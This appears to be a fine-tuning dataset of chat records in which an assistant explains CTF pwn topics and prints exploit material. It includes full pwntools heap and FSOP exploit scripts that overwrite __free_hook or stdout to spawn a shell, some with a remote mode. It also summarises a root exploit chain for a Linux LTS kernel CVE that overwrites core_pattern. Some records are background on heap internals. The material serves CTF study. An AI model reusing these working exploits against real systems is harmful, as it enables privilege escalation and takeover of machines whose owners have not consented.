{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-163dea7f21f7c9ec02ad", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. tcache poisoning 绕过 Safe-Linking」。\n资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3. tcache poisoning 绕过 Safe-Linking\n\n释放 index 1~7 后，tcache 链表头是 index 7 对应的 chunk。由于存在 UAF，可以直接 edit index 7，篡改其 tcache `fd`。\n\n目标地址选择 libc 的 `_IO_file_jumps`：\n\n```python\n_IO_file_jumps = libc_base + libc.symbols[\"_IO_file_jumps\"]\n```\n\n因为 Safe-Linking 要求写入 mangled fd，所以需要写：\n\n```python\ntarget = ((heap_base + 0x8f0) >> 12) ^ _IO_file_jumps\nedit(7, 8, p64(target))\n```\n\n这里 `heap_base + 0x8f0` 是 index 7 freed chunk 的用户区地址，也就是 tcache `fd` 所在位置。glibc 解链时会执行：\n\n```text\nreal_next = stored_fd ^ (chunk_addr >> 12)\n```\n\n于是 malloc 第二次从该 tcache bin 取 chunk 时，就会返回 `_IO_file_jumps`。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-57c367bf7340d5fe", "original_line": 182, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "split_group_key": "8a82ea35d8808d6caff7e707"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/[CISCN 2022 华东北]duck/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-16fc8202f2fbde0772dd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「PTE spray and stale second-free tests」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### PTE spray and stale second-free tests\n\n`recycle 32`:\n\n```text\nfree512 once -> num_slabs=12\nspray 32 PTE pages / 64 MiB VA -> succeeds\npost-spray d3kheap2pro_cache unchanged at num_slabs=12\n```\n\n`second-free-scan 32`:\n\n```text\nsecond-free all 512 stale slots -> ok=512\nslab counters become inconsistent: active_objs=196584 num_objs=64\nsprayed PTE page scan: ok=32 faults=0 mismatch=0\n```\n\n`targeted-scan 32 176`:\n\n```text\nsecond-free stale slots [176,512) -> ok=336\nslab after targeted second-free: active_objs=120 num_objs=160 active_slabs=10 num_slabs=10\nsprayed PTE page scan: ok=32 faults=0 mismatch=0\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e44c21286488176d", "original_line": 386, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "split_group_key": "88b27da04fe7f89b23f165d9"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-17e14cce4b5e5d21f9d0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Exploit Summary」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Exploit Summary\n\n- **Triggering Fraggap** -> Two pipe-to-UDPv6 splices make a 15-byte\n  `fraggap` copy run past the new skb's linear tail into\n  `skb_shared_info`.\n- **Planting a stale fragment descriptor** -> A groomed\n  `skbuff_small_head` leaves a source-pipe page descriptor in `frags[0]`,\n  while the out-of-bounds copy changes `nr_frags` from zero to one.\n- **Undercounting the pipe page** -> The remaining second-splice payload is\n  installed normally as `frags[1]`; freeing the skb therefore drops one stale\n  reference from the source page and one valid reference from the trigger\n  page.\n- **Reclaiming a leaf PTE page** -> Closing eight holding pipes reduces the\n  source page's actual refcount to zero while the original pipe buffer still\n  points to it, allowing the page to be reused as a leaf page table.\n- **Mapping physical memory** -> Writes through the stale pipe buffer install\n  attacker-selected PTEs in fresh virtual slots, producing physical read and\n  write access without RIP control.\n- **Executing the flag helper** -> The exploit finds the relocated\n  `core_pattern`, writes `|/proc/%P/fd/666 %P`, and crashes a child so the\n  kernel executes the memfd-backed exploit as the root core helper.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-0df5abeed808dfe2", "original_line": 387, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-18bcdce4edbbd6985bdb", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「core_pattern flag path」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### core_pattern flag path\n\nkernelXDK supplies the `lts-6.12.85` link-time physical address of\n`core_pattern` (`0x4611740`) and its 16 MiB physical-KASLR alignment. The\nexploit checks 224 aligned candidates across the target's low and high RAM\nranges, matching `core_name_size == 0x80`, the live value read from\n`/proc/sys/kernel/core_pattern`, and its terminating NUL. It then writes:\n\n```text\n|/proc/%P/fd/666 %P\n```\n\nThe exploit has already copied itself into memfd 666. Crashing a dumpable\nchild makes the kernel execute that memfd as the core helper; the helper\nreceives the crashing PID as an argument, reconnects the child's standard\ndescriptors with pidfds, and prints `/flag`. The main process remains alive to\navoid tearing down the stale page-table state.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9d94bcedccbfe16b", "original_line": 394, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1901f73a21c67917c216", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/tcache attack/fastbin_reverse_into_tcache/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/tcache attack/fastbin_reverse_into_tcache/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add_chunk`\n- `delete_chunk`\n- `edit_chunk`\n- `show_chunk`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x410`, `0x3b6be0`\n\n训练用代码片段：\n```python\n#!/bin/python3\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\nlibc = ELF(\"./libc.so.6\")\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\np = process([elf.path])\n\ndef add_chunk(index, size):\n    p.sendafter(\"choice:\", \"1\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"size:\", str(size))\n\n\ndef delete_chunk(index):\n    p.sendafter(\"choice:\", \"2\")\n    p.sendafter(\"index:\", str(index))\n\n\ndef edit_chunk(index, content):\n    p.sendafter(\"choice:\", \"3\")\n    p.sendafter(\"index:\", str(index))\n    p.sendafter(\"length:\", str(len(content)))\n    p.sendafter(\"content:\", content)\n\ndef show_chunk(index):\n    p.sendafter(\"choice:\", \"4\")\n    p.sendafter(\"index:\", str(index))\n\n\nadd_chunk(0, 0x410)\nadd_chunk(1, 0x10)\ndelete_chunk(0)\nadd_chunk(0, 0x410)\nshow_chunk(0)\nlibc.address = u64(p.recvuntil(b'\\x7F')[-6:].ljust(8, b'\\x00')) - 0x3b6be0\ninfo(\"libc base: \" + hex(libc.address))\n\nfor i in range(14): add_chunk(i, 0x50)\nfor i in range(14): delete_chunk(i)\n\nadd_chunk(0, 0x50)\ndelete_chunk(7)\nadd_chunk(7, 0x50)\nedit_chunk(7, p64(libc.sym['__free_hook'] - 0x10))\n\nfor i in range(1, 7): add_chunk(i, 0x50)\nadd_chunk(7, 0x50)\n\nadd_chunk(7, 0x50)\nedit_chunk(7, p64(libc.sym['system']))\n\nedit_chunk(3, b'/bin/sh\\x00')\n\ndelete_chunk(3)\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-19a00c7d3cf16114", "original_line": 25, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/exp.py", "split": "train", "split_group_key": "357d2720ae90f00a8b1f7541"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/tcache attack/fastbin_reverse_into_tcache/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-194b999506e71acc0dfc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Unsortedbin Attack」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## Unsortedbin Attack\n\nUnsortedbin attack 可以对指定的地址写入一个很大的值。\n\n当将一个 unsorted bin 取出的时候，会将`bck->fd`的位置写入本 Unsorted Bin 的位置。\n\n```c\n/* remove from unsorted list */\nunsorted_chunks (av)->bk = bck;\nbck->fd = unsorted_chunks (av);\n```\n\n换而言之，如果我们控制了 bk 的值，我们就能将`unsorted_chunks (av)`写到任意地址。通常可以利用此方法向`global_max_fast`写入一个较大的值，从而扩大 fastbin 范围，甚至`fastbinsY`数组溢出 造成任意地址写。\n\n[图片: image]\n\nunsorted bin attack 之后，fake chunk 被链入 unsorted bin 中，此时要想将 unsorted bin 申请出来必须通过如下检查：\n\n+ 检查 size 是否合法\n\n```c\nif (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)\n    || __builtin_expect (chunksize_nomask (victim)\n         > av->system_mem, 0))\n  malloc_printerr (\"malloc(): memory corruption\");\n```\n\n+ unsorted bin chunk 的 bk 字段指向的地址必须为可写\n\n```c\n/* remove from unsorted list */\nunsorted_chunks (av)->bk = bck;\nbck->fd = unsorted_chunks (av);\n```\n\n后续会介绍 House of Storm 利用手法，本质是在 unsorted bin attack 的基础上利用 large bin attack 进行两处任意地址写来伪造 fake chunk 的 size 和 bk ，从而将 fake chunk 申请出来。\n\n不过从 glibc-2.28 开始会有如下检查，此方法失效。\n\n```c\n/* remove from unsorted list */\nif (__glibc_unlikely (bck->fd != victim))\n    malloc_printerr (\"malloc(): corrupted unsorted chunks 3\");\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-fea405073173ec0b", "original_line": 111, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1a2ba4173b04f4a24ae4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「初始化和打开」。\n资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 初始化和打开\n\n`/dev/ptmx`字符设备在`/drivers/tty/pty.c`中初始化：\n\n```c\nstatic void __init unix98_pty_init(void)\n{\n  ...\n  tty_default_fops(&ptmx_fops);\n  ptmx_fops.open = ptmx_open;\n\n  cdev_init(&ptmx_cdev, &ptmx_fops);\n  if (cdev_add(&ptmx_cdev, MKDEV(TTYAUX_MAJOR, 2), 1) ||\n     register_chrdev_region(MKDEV(TTYAUX_MAJOR, 2), 1, \"/dev/ptmx\") < 0)\n    panic(\"Couldn't register /dev/ptmx driver\");\n  device_create(tty_class, NULL, MKDEV(TTYAUX_MAJOR, 2), NULL, \"ptmx\");\n}\n```\n\n对应的`struct file_operations`与`tty_fops`共享几乎所有函数，但`.open`成员变成了`ptmx_open`。因此，当你打开`/dev/ptmx`时，会调用`ptmx_open()`：\n\n```c\nstatic int ptmx_open(struct inode *inode, struct file *filp)\n{\n  struct tty_struct *tty;\n  int retval;\n  ...\n  retval = tty_alloc_file(filp);\n  ...\n  tty = tty_init_dev(ptm_driver, index);\n  ...\n  tty_add_file(tty, filp);\n  ...\n}\n```\n\n这是相关结构体初始化的地方。首先，`tty_alloc_file()`使用`kmalloc()`分配一个`struct tty_file_private`，并将其赋值给`/dev/ptmx`的`struct file`的`private_data`成员：\n\n```c\nint tty_alloc_file(struct file *file)\n{\n  struct tty_file_private *priv;\n  priv = kmalloc(sizeof(*priv), GFP_KERNEL);\n  ...\n  file->private_data = priv;\n  return 0;\n}\n```\n\n`struct tty_file_private`的大小是0x20，因此使用`kmalloc-32`。然后调用`tty_init_dev()`，它会初始化并返回`tty_struct`。`tty_struct`的大小是0x2B8，因此使用`kmalloc-1024`（当然，大小会根据编译配置有所不同，但不会改变slab缓存的大小）。重要的成员如下：\n\n```c\nstruct tty_struct {\n  int magic; // 安全检查\n  struct kref kref; // 引用计数\n  struct device *dev;\n  struct tty_driver *driver; // 必须有效\n  const struct tty_operations *ops; // 虚表指针\n  ...\n}\n```\n\n在`tty_struct`通过`tty_alloc_file()`分配后，会对分配得到的`tty_struct`调用`tty_add_file()`：\n\n```c\nvoid tty_add_file(struct tty_struct *tty, struct file *file)\n{\n  struct tty_file_private *priv = file->private_data;\n  priv->tty = tty;\n  priv->file = file;\n  ...\n}\n```\n\n它将`&tty_struct`赋值给`tty_file_private.tty`成员。这非常好，因为我们可以通过读取`tty_file_private`来泄漏`tty_struct`的地址。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-9ee12f38191cbc04", "original_line": 402, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "split_group_key": "ec3687b0dbb8efc5246abbb7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1a7dffedd7e04f34d332", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `IO-FILE/house of apple2/2024pcb babyheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`IO-FILE/house of apple2/2024pcb babyheap/exp.py`\n\n分类：io_file\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `import argparse`\n\n函数/封装：\n- `add`\n- `dbg`\n- `delete`\n- `edit`\n- `show`\n- `start`\n\n利用主题关键词：\n- heap/tcache\n- io-file/fsop\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x100`, `0x180`, `0x300`, `0x310`, `0x400`, `0x216f40`, `0x21af00`, `0x21f000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport argparse\n\ncontext(os=\"linux\", arch=\"amd64\")\ncontext.log_level = \"info\"\n\nelf = ELF(\"./vuln\")\nlibc = ELF(\"./libc.so.6\")\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--remote\", action=\"store_true\")\nparser.add_argument(\"--host\", default=\"TARGET_IP\")\nparser.add_argument(\"--port\", type=int, default=9999)\nparser.add_argument(\"--test\", action=\"store_true\", help=\"send a proof command after exploitation\")\nparser.add_argument(\"--debug\", action=\"store_true\")\nargs = parser.parse_args()\n\n\ndef start():\n    if args.remote:\n        return remote(args.host, args.port)\n    # vuln has interpreter ./ld-linux-x86-64.so.2 and NEEDED ./libc.so.6.\n    # Do not use LD_PRELOAD here: the cwd contains spaces and ld.so splits\n    # LD_PRELOAD on spaces, which makes the spawned shell noisy/broken.\n    return process([elf.path])\n\nio = start()\n\ns   = lambda data: io.send(data)\nsa  = lambda text, data: io.sendafter(text, data)\nsl  = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nlg  = lambda name, value: log.success(f\"{name} -> {value:#x}\")\n\n\ndef dbg(cmd=\"\"):\n    gdb.attach(io, cmd)\n    pause()\n\n\ndef add(idx, size, data):\n    sla(b\"choice:\\n\", b\"1\")\n    sla(b\"idx:\\n\", str(idx).encode())\n    sla(b\"size:\\n\", str(size).encode())\n    sa(b\"content:\\n\", data)\n\n\ndef delete(idx):\n    sla(b\"choice:\\n\", b\"2\")\n    sla(b\"idx:\\n\", str(idx).encode())\n\n\ndef show(idx):\n    sla(b\"choice:\\n\", b\"3\")\n    sla(b\"idx:\\n\", str(idx).encode())\n\n\ndef edit(idx, data):\n    sla(b\"choice:\\n\", b\"4\")\n    sla(b\"idx:\\n\", str(idx).encode())\n    s(data)\n\n\n# 1. Fill tcache for 0x310 chunks, then create an unsorted-bin remainder that\n#    overlaps the next allocation. The show(0xb) bytes begin with our marker\n#    followed by the unsorted-bin fd pointer.\nfor i in range(9):\n    add(i, 0x300, b\"a\")\nfor i in range(8):\n    delete(i)\n\nadd(0xa, 0x400, b\"a\")\nadd(0xb, 0x100, b\"\\x01\")\n\nshow(0xb)\nleak = u64(io.recvn(6).ljust(8, b\"\\x00\"))\nlibc.address = leak - 1 - 0x21af00\nlg(\"leak\", leak)\nlg(\"libc base\", libc.address)\n\n# 2. edit(-6) uses book + idx * 0x10 and lands on stdout copy relocation.\n#    The qword stored there is _IO_2_1_stdout_, so the one-shot edit overwrites\n#    the real stdout FILE object in libc.\nfake_io_addr = libc.sym[\"_IO_2_1_stdout_\"]\nsystem = libc.sym[\"system\"]\njumps = libc.address + 0x216f40      # _IO_wfile_jumps - 0x180, passes vtable check\nlock = libc.address + 0x21f000       # writable address for _lock\n\nlg(\"stdout\", fake_io_addr)\nlg(\"system\", system)\nlg(\"jumps\", jumps)\n\n# House of Apple2 layout:\n# - FILE address itself starts with command string \"  sh;\".\n# - _wide_data points back to fake_io_addr.\n# - fake_wide_data->_wide_vtable points back to fake_io_addr.\n# - fake_wide_vtable+0x68 contains system, so the wide-file path calls system(fp).\nfake_io  = b\"  sh;\\x00\\x00\\x00\"\nfake_io  = fake_io.ljust(0x28, b\"\\x00\")\nfake_io += p64(1)                   # _IO_write_ptr > _IO_write_base\nfake_io  = fake_io.ljust(0x68, b\"\\x00\")\nfake_io += p64(system)              # fake wide vtable slot at +0x68\nfake_io  = fake_io.ljust(0x88, b\"\\x00\")\nfake_io += p64(lock)                # _lock\nfake_io += p64(0) * 2\nfake_io += p64(fake_io_addr)         # _wide_data\nfake_io  = fake_io.ljust(0xc0, b\"\\x00\")\nfake_io += p64(0)                   # _mode <= 0\nfake_io  = fake_io.ljust(0xd8, b\"\\x00\")\nfake_io += p64(jumps)               # FILE vtable\nfake_io  = fake_io.ljust(0xe0, b\"\\x00\")\nfake_io += p64(fake_io_addr)         # fake_wide_data->_wide_vtable\n\nedit(-6, fake_io)\n\nif args.debug:\n    dbg()\n\nif args.test:\n    io.sendline(b\"echo PWNED; id; exit\")\n    data = io.recvrepeat(2)\n    print(data.decode(\"latin-1\", errors=\"replace\"))\nelse:\n    io.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-0b5230ee0787d2d8", "original_line": 155, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/exp.py", "split": "train", "split_group_key": "54bb04002b4fdb9d65212a4b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024pcb babyheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1b525e4e074b19415713", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/2024qwb-baby_heap/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/2024qwb-baby_heap/exp_cli.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `free`\n- `malloc`\n- `show`\n\n关键常量/偏移样例：\n`0x700`, `0x21ace0`, `0x00000000021A118`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\nset_remote_libc('libc-2.35.so')\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc-2.35.so\")\n\ndef malloc(size):\n    sla(': ','1')\n    sla('e ',str(size))\n\ndef free(idx):\n    sla(': ', '2')\n    sla(': ', str(idx))\n\ndef show(idx):\n    sla(': ', '4')\n    sla(': \\n', str(idx))\n    ru('here \\n')\n\nmalloc(0x700)\nmalloc(0x10)\nfree(1)\nshow(1)\nlibc_base_addr = u64(r(8))-0x21ace0\ngot = libc_base_addr + 0x00000000021A118\nsla(': ', '0')\ns(p64(got))\ns(p64(libc_base_addr+libc.symbols['puts']))\nsla(': ', '5')\nsl('2')\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-f7b52bedbcd6b5b6", "original_line": 1, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024qwb-baby_heap/exp_cli.py", "split": "train", "split_group_key": "569a41b5690f1b34b0bc97db"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024qwb-baby_heap/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1c44501f672b88bf9ddd", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「基本概念」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 基本概念\n\n各种平台有不同的内存分配器可用：\n\n+ dlmalloc – 通用分配器\n+ Ptmalloc2 – glibc\n+ jemalloc – FreeBSD 和 Firefox\n+ tcmalloc – Google\n+ libumem – Solaris\n\n历史上[ptmalloc2](http://www.malloc.de/en/) 是从 [dlmalloc](http://g.oswego.edu/dl/html/malloc.html) 派生而来的。在 fork 之后，添加了线程支持，并于 2006 年发布。在正式发布后，ptmalloc2 被集成到 glibc 源代码中。集成后，将直接对 glibc malloc 源代码本身进行代码更改。因此，ptmalloc2 和 glibc 的 malloc 实现之间可能会有很多变化。\n\nPtmalloc2 相当于内核和应用程序之间堆内存的零售商。堆内存的批发要依赖于系统调用。\n\n[图片: Pasted image 20250411183214.png]\n\n**线程：** 在 Linux 的早期，dlmalloc 被用作默认内存分配器。但后来由于 ptmalloc2 的多线程支持，它成为 linux 的默认内存分配器。线程支持有助于提高内存分配器性能，从而提高应用程序性能。在 dlmalloc 中，当两个线程同时调用 malloc 时，只有一个线程可以进入关键部分，因为空闲列表数据结构在所有可用线程之间共享。因此，在多线程应用程序中，内存分配需要时间，从而导致性能下降。而在 ptmalloc2 中，当两个线程同时调用 malloc 时，会立即分配内存，因为每个线程都维护一个单独的堆段，因此维护这些堆的自由列表数据结构也是独立的。这种为每个线程维护单独的堆和空闲列表数据结构的行为称为 **per thread arena**。\n\n+ 静态内存管理\n\n静态内存管理是指在编译时确定内存分配，并且内存分配的大小和生命周期在程序运行时保持不变。比如我们编程时的静态变量和全局变量就属于静态内存管理，好处是快速，缺点是不够灵活。\n\n+ 动态内存管理\n\n在程序运行过程中，堆可以提供动态分配的内存，允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域，它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理。\n\n+ 一块内存\n+ 几种数据结构\n+ 一些安全机制\n+ 动态分配和回收\n+ 提高利用率\n+ 减少碎片化\n\n堆管理器处于用户程序与内核中间，主要做以下工作\n\n1. 响应用户的申请内存请求，向操作系统申请内存，然后将其返回给用户程序。同时，为了保持内存管理的高效性，内核一般都会预先分配很大的一块连续的内存，然后让堆管理器通过某种算法管理这块内存。只有当出现了堆空间不足的情况，堆管理器才会再次与操作系统进行交互。\n2. 管理用户所释放的内存。一般来说，用户释放的内存并不是直接返还给操作系统的，而是由堆管理器进行管理。这些释放的内存可以用来响应新申请的内存的请求。\n\n第一个malloc完成的时候，top chunk就存在了。\n\ntop chunk包含arena扩容的部分，不属于任何bin\n\n动态内存管理是指在程序运行时根据需要进行内存分配和释放，由程序员显式管理。这个最显著的例子就是我们的`malloc`和`free`函数。好处是灵活，缺点是复杂。\n\n我们在编写 C 语言程序时`malloc`一块内存是由堆管理器（ptmalloc）分配了一块内存给我们使用，`malloc`返回的是指向那块内存的指针。\n\n例如下面的代码，会将`malloc`分配的内存地址保存在`ptr`指针中，我们通过`ptr`指针来使用这块内存。\n\n```c\nchar *ptr=(char *)malloc(0x10);\n```\n\n`malloc`通过 ptmalloc 向我们分配这块内存，而内存分配多少是由 ptmalloc 的分配机制来决定的。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-18c34a18e199f9d1", "original_line": 59, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
